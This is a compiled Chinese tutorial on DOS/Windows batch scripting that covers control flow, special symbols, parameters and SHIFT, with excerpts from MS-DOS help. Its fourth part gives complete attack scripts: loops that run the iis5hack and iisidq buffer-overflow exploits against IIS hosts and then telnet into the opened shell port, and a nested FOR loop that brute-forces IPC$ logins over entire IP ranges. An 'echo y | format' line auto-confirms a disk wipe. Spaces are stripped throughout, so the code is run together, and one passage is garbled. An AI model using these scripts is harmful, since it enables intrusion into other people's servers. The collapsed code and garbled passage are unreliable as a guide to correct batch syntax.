3、GOTOGOTO即为跳转的意思。在批处理中允许以":XXX"来构建一个标号然后用GOTO:标号直接来执行标号后的命令。例:LABELREM上面就是名为LABEL的标号。DIRC:\DIRD:\GOTOLABELREM以上程序跳转标号LABEL处继续执行。

4、CALLCALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:批处理2.BAT内容如下:ECHO这就是2的内容批处理1.BAT内容如下:ECHO这是1的内容CALL2.BATECHO1和2的内容全部显示完成执行结果如下:C:\>1.BAT这是1的内容这就是2的内容1和2的内容全部显示完成

5、PAUSEPAUSE停止系统命令的执行并显示下面的内容。例:C:\>PAUSE请按任意键继续...

6、IFIF条件判断语句,语法格式如下:IF[NOT]ERRORLEVELnumbercommandIF[NOT]string1==string2commandIF[NOT]EXISTfilenamecommand说明:[NOT]将返回的结果取反值即"如果没有"的意思。ERRORLEVEL是命令执行完成后返回的退出值Number退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。string1==string2string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的commandEXISTfilename为文件或目录存在的意思。IFERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IFERRORLEVEL来判断命令的返回值。例:1、IF[NOT]ERRORLEVELnumbercommand检测命令执行完后的返回值做出判断。echooffdirz:rem如果退出代码为1(不成功)就跳至标题1处执行IFERRORLEVEL1goto1rem如果退出代码为0(成功)就跳至标题0处执行IFERRORLEVEL0goto0:0echo命令执行成功!Rem程序执行完毕跳至标题exit处退出gotoexit:1echo命令执行失败!Rem程序执行完毕跳至标题exit处退出gotoexit:exitRem这里是程序的出口2、IFstring1==string2command检测当前变量的值做出判断ECHOOFFIF%1==2gotonoEcho变量相等!Gotoexit:noecho变量不相等gotoexit:exit大家可以这样看效果C:\>test.bat数字

3、IF[NOT]EXISTfilenamecommand发现特定的文件做出判断echooffIFnotEXISTautoexec.batgoto1echo文件存在成功!gotoexit:1echo文件不存在失败!gotoexit:exit这个批处理大家可以放在c盘和d盘分别执行看看效果。7、FORFOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:FOR[%%c]IN(set)DO[command][arguments]在命令行中命令如下:FOR[%c]IN(set)DO[command][arguments]常用参数:/L该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5)将产生序列12345,(5,-1,1)将产生序列(54321)。/D如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

/F从指定的文件中读取数据作为变量eol=c-指一个行注释字符的结尾(就一个)skip=n-指在文件开始时忽略的行数。delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过nth符号指定mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。usebackq-指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在filenameset中使用双引号扩起文件名称。下面来看一个例子:FOR/F"eol=;tokens=2,3delims=,"%iin(myfile.txt)do@echo%i%j%k会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;用逗号和/或空格定界符号。请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母''z''或''Z''的变量。请记住,FOR变量名分大小写,是通用的;而且,同时不能有52个以上都在使用中。您还可以在相邻字符串上使用FOR/F分析逻辑;方法是,用单引号将括号之间的filenameset括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用FOR/F命令来分析命令的输出。方法是,将括号之间的filenameset变成一个反括字符串。该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i会枚举当前环境中的环境变量名称。以下列举一个简单的例子,他将说明参数/L和没有参数的区别:删除文件1.TXT2.TXT3.TXT4.TXT5.TXT例:ECHOOFFFOR/L%%FIN(1,1,5)DODEL%%F.TXT或FOR%%FIN(1,2,3,4,5)DODEL%%F.TXT以上2条命令执行的结果都是一样的如下:C:\>DEL1.TXTC:\>DEL2.TXTC:\>DEL3.TXTC:\>DEL4.TXTC:\>DEL5.TXT

8、SETLOCAL开始批处理文件中环境改动的本地化操作。在执行SETLOCAL之后所做的环境改动只限于批处理文件。要还原原先的设置,必须执行ENDLOCAL。达到批处理文件结尾时,对于该批处理文件的每个尚未执行的SETLOCAL命令,都会有一个隐含的ENDLOCAL被执行。例:@ECHOOFFSETPATH/察看环境变量PATHPAUSESETLOCALSETPATH=E:\TOOLS/重新设置环境变量PATHSETPATHPAUSEENDLOCALSETPATH从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。

9、SHIFTSHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:ECHOOFFECHO%1%2%3%4%5%6%7%8%9SHIFTECHO%1%2%3%4%5%6%7%8%9SHIFTECHO%1%2%3%4%5%6%7%8%9执行结果如下:C::\>SHIFT.BAT1234567891011123456789234567891034567891011以上就是基于WIN2000下的9个批处理命令。

第二部分:特殊的符号与批处理

在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。1、符号(@)@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echooff可以关掉整个批处理的命令回显但却不能不显示echooff这个命令。现在我们在这个命令前加上@这样echooff这一命令就被@关闭了回显从而达到所有命令均不回显得要求2、符号(>)>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:文件1.txt的文件内容为:1+1使用命令c:\>dir.txt>1.txt这时候1.txt的内容如下驱动器C中的卷没有标签。卷的序列号是301A-1508C:\的目录2003-03-1114:041,005FRUNLOG.TXT2003-04-0416:3818,598,494log.txt2003-04-0417:0251.txt2003-03-1211:430aIErrorlog.txt2003-03-3000:3530,571202.108.txt5个文件18,630,070字节0个目录1,191,542,784可用字节>将命令执行的结哺橇嗽嫉奈募谌荨?在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echooff关掉的回显不是同一概念。Echooff关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:C:\>dir.txt>nul程序将没有任何显示也不会产生任何痕迹。3、符号(>>)符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:文件1.txt内同为:1+1使用命令c:\>dir.txt>>1.txt这时候1.txt的内容如下1+1驱动器C中的卷没有标签。卷的序列号是301A-1508C:\的目录2003-03-1114:041,005FRUNLOG.TXT2003-04-0416:3818,598,494log.txt2003-04-0417:0251.txt2003-03-1211:430aIErrorlog.txt2003-03-3000:3530,571202.108.txt5个文件18,630,070字节0个目录1,191,542,784可用字节>>将命令执行的结果覆加在了原始的文件内容后面。4、符号(|)|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:C:\>dirc:\|find"1508"卷的序列号是301A-1508以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用find/?自行查看在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的echoy|fornata:/s/q/v:system用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echoy并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)5、符号(^)^是对特殊符号>、<、&、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:c:\>echotest^>1.txttest>1.txt从上面可以看出并没有把test写入文件1.txt而是将test>1.txt当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。6、符号(&)&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:c:\>dirz:\&diry:\&dirc:\以上的命令将会连续显示z:y:c:盘内的内容不理会该盘符是否存在。7、符号(&&)&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:c:\>dirz:\&&diry:\&&dirc:\以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令8、符号("")""符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:c:\>cd"ProgramFiles"c:\>cdprogra~1c:\>cdpro以上方法都可以进入ProgramFiles目录9、符号(,),符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:c:\>dir,c:\10、符号(;);符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:DIRC:\;D:\;E:\F:\以上的命令相当于DIRC:\DIRD:\DIRE:\DIRF:\当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。

第三部分:批处理与变量

在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:C::\>SHIFT.BAT1234567891011SHIFT.BAT12345678912345678910234567891011系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:批处理内容为:ECHO%1ECHO%2ECHO%3输入命令:C:\>TEST"ProgramFiles"ProgramFilesProgramFilesProgramFiles在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如SETA=%1这样我们就命名了一个新的环境变量A在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:ECHOOFFSETPASS=%1SHIFTSETPASS1=%1SHIFTECHO%PASS%%PASS1%%1%2%3%4%5%6%7%8%9SHIFTECHO%PASS%%PASS1%%9SETPASS=%PASS1%变量的传递SETPASS1=%9SHIFTECHO%PASS%%PASS1%%9使用命令:C:\>TESTAB345678910KLAB345678910K注意:这一行显示了11个变量ABL在使用了3次SHIFT之后%9变成了LBL变量的传递后的结果

第四部分:完整案例

以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/后面。例一这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为:iis5hack<目标ip><目标端口><目标版本><溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为开始版本号可有可无。程序如下。@echooff/关闭命令回显if"%1%"==""gotohelp/判断%1是否为空,%1为目标ipif"%2%"=="1"goto1/判断%2是否为1,为1则跳转标志1if"%2%"=="2"goto2/%2为开始版本号,如果没有设置则if"%2%"=="3"goto3/如果存在则从匹配的地方开始执行if"%2%"=="4"goto4if"%2%"=="5"goto5if"%2%"=="6"goto6if"%2%"=="7"goto7if"%2%"=="8"goto8ifnotEXISTiis5hack.exegotofile/没有发现iis5hack.exe就执行标志file段内容ping%1-n1|find"Received=1"/ping目标1次,从结果中发现Received=1iferrorlevel1gotoerror/如果返回代码为1则执行error段(代码1为没有发现0为发现并成功执行)iis5hack%180988|find"good"/开始溢出目标端口80系统代码9溢出后连接端口88在执行结果中发现字符串"good"(溢出成功后才会有字符串good)ifnoterrorlevel1gototelnet/如果没有错误代码1(溢出成功)就执行telnet段的内容。echo操作系统类型9失败!/否则显示这一句:8/以下代码内容参照上面iis5hack%180888|find"good"ifnoterrorlevel1gototelnetecho操作系统类型8失败!:7iis5hack%180788|find"good"ifnoterrorlevel1gototelnetecho操作系统类型7失败!:6iis5hack%180688|find"good"ifnoterrorlevel1gototelnetecho操作系统类型6失败!:5iis5hack%180588|find"good"ifnoterrorlevel1gototelnetecho操作系统类型5失败!:4iis5hack%180488|find"good"ifnoterrorlevel1gototelnetecho操作系统类型4失败!:3iis5hack%180388|find"good"ifnoterrorlevel1gototelnetecho操作系统类型3失败!:2iis5hack%180288|find"good"ifnoterrorlevel1gototelnetecho操作系统类型2失败!:1iis5hack%180188|find"good"ifnoterrorlevel1gototelnetecho操作系统类型1失败!:0iis5hack%180088|find"good"ifnoterrorlevel1gototelnetecho操作系统类型0失败!gotoerror:telnettelnet%188/开始连接目标ip的88端口gotoexit/连接中断后跳转exit段:error/error段显示错误后的帮助信息echo可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!echoiis5hack[目标IP][WEB端口][系统类型][开放端口]ECHO中文:0ECHO中文+sp1:1ECHO英文:2ECHO英文+sp1:3ECHO日语:4ECHO日语+sp1:5ECHO韩文:6ECHO韩文+sp1:7ECHO墨西哥语:8ECHO墨西哥语+sp1:9gotoexit/跳转exit段:file/file段显示文件没有发现的信息echo文件iis5hack.exe没有发现!程序终止运行!gotoexit/跳转exit段:help/help段显示本批处理的使用格式帮助echo本程序用法如下:echoiis[目标ip]echoiis[目标ip][开始的号码9-0]:exit/exit段为程序出口这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!例二这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下:运行参数:操作系统类型目的地址web端口1溢出监听端口<输入命令1>其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为程序如下:@echooff/同例一ifnotEXISTiisidq.exegotofile/同例一if%1==""gotoerror/同例一ping%1-n1|find"Received=1"/同例一iferrorlevel1gotoerror1/同例一setb=%1/创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ipseta=0/创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。:no/no段开始if%a%==0setd=0/如果环境变量a=0则创建环境变量d设定环境变量d=0。if%a%==1setd=1/环境变量d其实是操作系统类型代码,用计数器来控制其if%a%==2setd=2/变动。if%a%==3setd=3if%a%==4setd=4if%a%==5setd=5if%a%==6setd=6if%a%==7setd=7if%a%==9setd=9if%a%==10setd=13if%a%==11setd=14goto0/变量传递完成后转到标志0处运行:1echo正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......:0/标志0开始IISIDQ%d%%b%80199|find"good"/按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)iferrorlevel1goto1/如果没有good字符串则没有发送成跳/转标志1处继续尝试发送ping127.0.0.1-n8>nul/ping自己8次相当于延时8秒不显示执/行结果echo正在执行第%d%项!/报告正在溢出的操作系统类型telnet%b%99/连接溢出端口echo./显示一个空行if%d%==14gotoerror1/如果操作系统类型为14则跳转error1处(循环出口)if%d%==13seta=11/开始用计数器对操作系统代码重新附值if%d%==9seta=10if%d%==7seta=9if%d%==6seta=7if%d%==5seta=6if%d%==4seta=5if%d%==3seta=4if%d%==2seta=3if%d%==1seta=2if%d%==0seta=1gotono/附值完成跳转no段执行:file/以下都是出错后的帮助提示echoIIsidq.exe没有发现!将该文件和本文件放在同一目录!gotoexit:errorecho错误!目标ip不可识别!请使用下面的格式连接!echoidq[目标IP]gotoexit:error1echo连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!echo请按照下面的格式手工尝试!echoiisidq[目标类型][目标IP][目标端口][连接方式][溢出端口]echotelnet[目标ip][溢出端口]:exit/整个程序的出口这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。例三for/l%%ain(0,1,255)dofor/l%%bin(0,1,255)dofor/l%%cin(1,1,254)dofor/f"tokens=1,2"%%ein(userpass.txt)donetuse\\%1.%%a.%%b.%%c\ipc$%%e/u:%%f上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\>TEST.BAT218当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令(这里我把上面的值都带进去,设密码为123用户名为abc)netusr\\218.0.0.1\ipc$123/u:abc当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!

?

下面举几个应用事例

ThefirstToOpenwindowsCalculator?@echooffREMStartCalculatorsetC:\WINNT\SYSTEM32startcalc.exeexit

ThesecondToOpenaPurgingUtility?@echooffREMStartPurgeDrivecdD:\ProgramFiles\PurgeDrivestartpurgedrive.exeexit

ThethirdToOpenInternetExplorertowww.510125.com?@echooffREMStart新都信息网inIEsetC:\ProgramFiles\InternetExplorerstartIExplore.exe%www.510125.comexit?

TheforthToOpenMicrosoftExcel("BeamCalculations")@echooffREMStartMicrosoftExcelBeamCalculationssetC:\ProgramFiles\MicrosoftOffice\Officestartexcel.exe%D:\Documents\beamcalc.xlsexit

使用方法把每一个都村存放在记事本中,然后扩展名改为.bat运行即可看到效果第四个需要大家建立一个beamcalc.xls放到我的文档里边,该程序是梁的计算

?

是的,批处理非常方便.我都不大懂.在此还是送上一段很实用的代码--------------------------------------d:cdusermd%username%\docc:\winnt\system32\substg:d:\user\%username%\doc-----------------------------------------------------WIN2000和win2003下,关闭远程用户直接通过资源管理器访问C,D,E盘后.如何让用户有自己的空间呢.这个代码是让远程用户在首次登陆服务器时自动创建一个虚拟盘.在D盘下自动创建一个文件夹,映射为用户端的G盘每个用户都会有一个自己的虚拟盘当然,不用这种方式的话,也可以用WIN2003的权限管理来限制用户对相关文件夹的访问.我这里一台WIN2003,一台WIN2000就分别用了这两种方法.还有高手也提点意见哈

?

ifgotochoicefor是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

if表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:1、if"参数"=="字符串"待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if"%1"=="a"formata:2、ifexist文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。如ifexistconfig.syseditconfig.sys3、iferrorlevel数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如iferrorlevel2gotox2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码goto批处理文件运行到这里将跳到goto所指定的标号处,一般与if配合使用。如:gotoend:endechothisistheend标号用:字符串表示,标号所在行不被执行choice使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……如:choice/c:dmedefrag,mem,end将显示defrag,mem,end[D,M,E]?例如,test.bat的内容如下:@echooffchoice/c:dmedefrag,mem,endiferrorlevel3gotodefrag应先判断数值最高的错误码iferrorlevel2gotomemiferrotlevel1gotoend:defragc:\dos\defraggotoend:memmemgotoend:endechogoodbye此文件运行后,将显示defrag,mem,end[D,M,E]?用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。for循环命令,只要条件符合,它将多次执行同一命令。格式FOR[%%f]in(集合)DO[命令]只要参数f在指定的集合内,则条件成立,执行命令如果一条批处理文件中有一行:for%%cin(.bat.txt)dotype%%c含义是如果是以bat或txt结尾的文件,则显示文件的内容。

?

批处理语法

扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。

====注=======================================.bat是dos下的批处理文件.cmd是nt内核命令行环境的另一种批处理文件从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch,unixshell,awk,basic,perl等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。===================================

首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

====注===================批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。========================

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

====注==================批处理文件(batchfile)也可以称之为批处理程序(batchprogram),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。===========================

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:batch,你就可以在任意位置运行所有你编写的批处理程序。

====注=====纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com直接载入内存),以exe位扩展名的可执行程序(由command.com重定位后载入内存),以bat位扩展名的批处理程序(由command.com解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存)============

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于windows98下的autoexec.bat的示例:@ECHOOFFPATHC:windows;C:windowsCOMMAND;C:UCDOS;C:DOSTools;

C:SYSTOOLS;C:WINTOOLS;C:BATCHLHSMARTDRV.EXE/XLHDOSKEY.COM/insertLHCTMOUSE.EXESETTEMP=D:TEMPSETTMP=D:TEMP====注=====AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行;而在Win9x环境中,不仅增加支持了DOSSTART.BAT,WINSTART.BAT等许多其它自动运行的批处理文件,对AUTOEXEC.BAT也增加了.DOS.W40.BAK.OLD.PWS等许多变体以适应复杂的环境和多变的需求。====willsort编注=============以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入,而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。

以下摘录MS-DOS6.22帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义已经有些落后了。

批处理命令

批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。==========

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

====注===========首先,@不是一个命令,而是DOS批处理的一个特殊标记符,仅用于屏蔽命令行回显.下面是DOS命令行或批处理中可能会见到的一些特殊标记符:CR(0D)命令行结束符Escape(1B)ANSI转义字符引导符Space(20)常用的参数界定符Tab(09);=不常用的参数界定符+COPY命令文件连接符?文件通配符""字符串界定符|命令管道符<>>>文件重定向符@命令行回显屏蔽符/参数开关引导符:批处理标签引导符%批处理变量引导符

其次,::确实可以起到rem的注释作用,而且更简洁有效;但有两点需要注意:第一,除了::之外,任何以:开头的字符行,在批处理中都被视作标号,而直接忽略其后的所有内容,只是为了与正常的标号相区别,建议使用goto所无法识别的标号,即在:后紧跟一个非字母数字的一个特殊符号.第二,与rem不同的是,::后的字符行在执行时不会回显,无论是否用echoon打开命令行回显状态,因为命令解释器不认为他是一个有效的命令行,就此点来看,rem在某些场合下将比::更为适用;另外,rem可以用于config.sys文件中.=====================

echo表示显示此命令后的字符echooff表示在此语句后所有运行的命令都不显示命令行本身@与echooff相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。call调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。pause运行此句会暂停批处理的执行并在屏幕上显示Pressanykeytocontinue...的提示,等待用户按任意键后继续rem表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。====注=====此处的描述较为混乱,不如直接引用个命令的命令行帮助更为条理

-------------------------ECHO

当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。使用ECHO命令可关闭此功能。

语法

ECHO[ON|OFF]

若要用echo命令显示一条命令,可用下述语法:

echo[message]

参数

ON|OFF指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO命令。

message指定让MS-DOS在屏幕上显示的正文。

-------------------

CALL

从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

CALL[drive:][path]filename[batch-parameters]

参数

[drive:][path]filename指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

batch-parameters指定批处理程序所需的命令行信息。

-------------------------------

PAUSE

暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处理程序中使用该命令。

语法

PAUSE

REM

在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS中也可以用分号;代替REM命令,但在批处理文件中则不能替代)。

语法

REM[string]

参数

string指定要屏蔽的命令或要包含的注解。=======================

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。

批处理文件的内容为:命令注释:

@echooff不显示后续命令行及当前命令行dirc:.>a.txt将c盘文件列表写入a.txtcallc:ucdosucdos.bat调用ucdosecho你好显示"你好"pause暂停,等待按键继续rem准备运行wps注释:准备运行wpscducdos进入ucdos目录wps运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:@echooffformat%1

如果执行C:>fa:那么在执行f.bat时,%1就表示a:,这样format%1就相当于formata:,于是上面的命令运行时实际执行的是formata:

例3:C:根目录下一批处理文件名为t.bat,内容为:@echoofftype%1type%2

那么运行C:>ta.txtb.txt%1:表示a.txt%2:表示b.txt于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

====注===============参数在批处理中也作为变量处理,所以同样使用百分号作为引导符,其后跟0-9中的一个数字构成参数引用符.引用符和参数之间(例如上文中的%1与a:)的关系类似于变量指针与变量值的关系.当我们要引用第十一个或更多个参数时,就必须移动DOS的参数起始指针.shift命令正充当了这个移动指针的角色,它将参数的起始指针移动到下一个参数,类似C语言中的指针操作.图示如下:

初始状态,cmd为命令名,可以用%0引用cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10^^^^^^^^^^||||||||||%0%1%2%3%4%5%6%7%8%9

经过1次shift后,cmd将无法被引用cmdarg1arg2arg3arg4arg5arg6arg7arg8arg9arg10^^^^^^^^^^||||||||||%0%1%2%3%4%5%6%7%8%9

